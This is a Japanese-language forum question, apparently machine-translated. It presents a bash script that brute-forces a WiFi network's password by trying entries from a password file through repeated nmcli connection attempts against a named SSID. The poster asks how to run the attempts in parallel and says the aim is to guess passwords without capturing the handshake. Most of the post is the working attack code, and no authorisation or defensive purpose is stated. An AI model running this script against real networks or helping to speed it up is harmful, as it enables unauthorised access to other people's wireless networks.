Nmcliはマルチスレッドを使用してWi-Fiネットワークに接続します。

Nmcliはマルチスレッドを使用してWi-Fiネットワークに接続します。

私は最近、nmcliを使用してコマンドラインインターフェイス(CLI)からWiFiネットワークに直接接続できることを発見しました。これは、我々が無差別代入スクリプトを開発するためにこれを利用できるかどうか疑問に思います。提供されたコードスニペットは、私が実行したい一般的なプロセスを示しています。

connect_to_wifi() {
    local ssid="$1"
    local password="$2"
    
    echo -e "\e[92mTrying Password: $password\e[0m"
    # Establish connection to WiFi network using nmcli
    sudo nmcli device wifi connect "$ssid" password "$password" > /dev/null 2>&1

    # Check connection status
    if [ $? -eq 0 ]; then
        echo ""
        echo -e "\e[33mSuccessfully connected to $ssid with password $password\e[0m"
        exit 0
    else
        return 1
    fi
}

bruteforce_wifi() {
    local ssid="$1"
    local password_file="$2"

    # Verify if SSID is provided
    if [ -z "$ssid" ]; then
        echo "Error: SSID is empty."
        exit 1
    fi
    
    # Use default password file if not specified
    password_file="${password_file:-pass.txt}"

    # Check existence of file
    if [ ! -f "$password_file" ]; then
        echo "Error: File $password_file not found."
        exit 1
    fi
        
    # Read passwords from file and attempt WiFi connection
    while IFS= read -r password; do
        connect_to_wifi "$ssid" "$password"
    done < "$password_file"
}

これで、bruteforce_wifi目的のSSIDに対して無差別代入攻撃を開始できますbruteforce_wifi Denbroadband pass.txt。たとえば、このコマンドは正常に実行され、各パスワードを順番に試みます。

ところで、スレッドを実装しようとすると問題が発生します。

sudo nmcli device wifi connect Denbroadband password 238112120 & # '&' is used to place it in the background
sudo nmcli device wifi connect Denbroadband password 329814298

2番目のコマンドの出力は次のとおりです。Error: Connection activation failed: New connection activation was enqueued.

この問題の潜在的な解決策を学びたいです。また、ハンドシェイクがキャプチャされず、後で無差別代入攻撃でクラックする理由を尋ねる人がいる場合、私の好奇心はハンドシェイクに依存しないWiFiネットワークで伝統的な無差別代入方法が可能かどうかを知ることにあることに注目する価値があります。

関連情報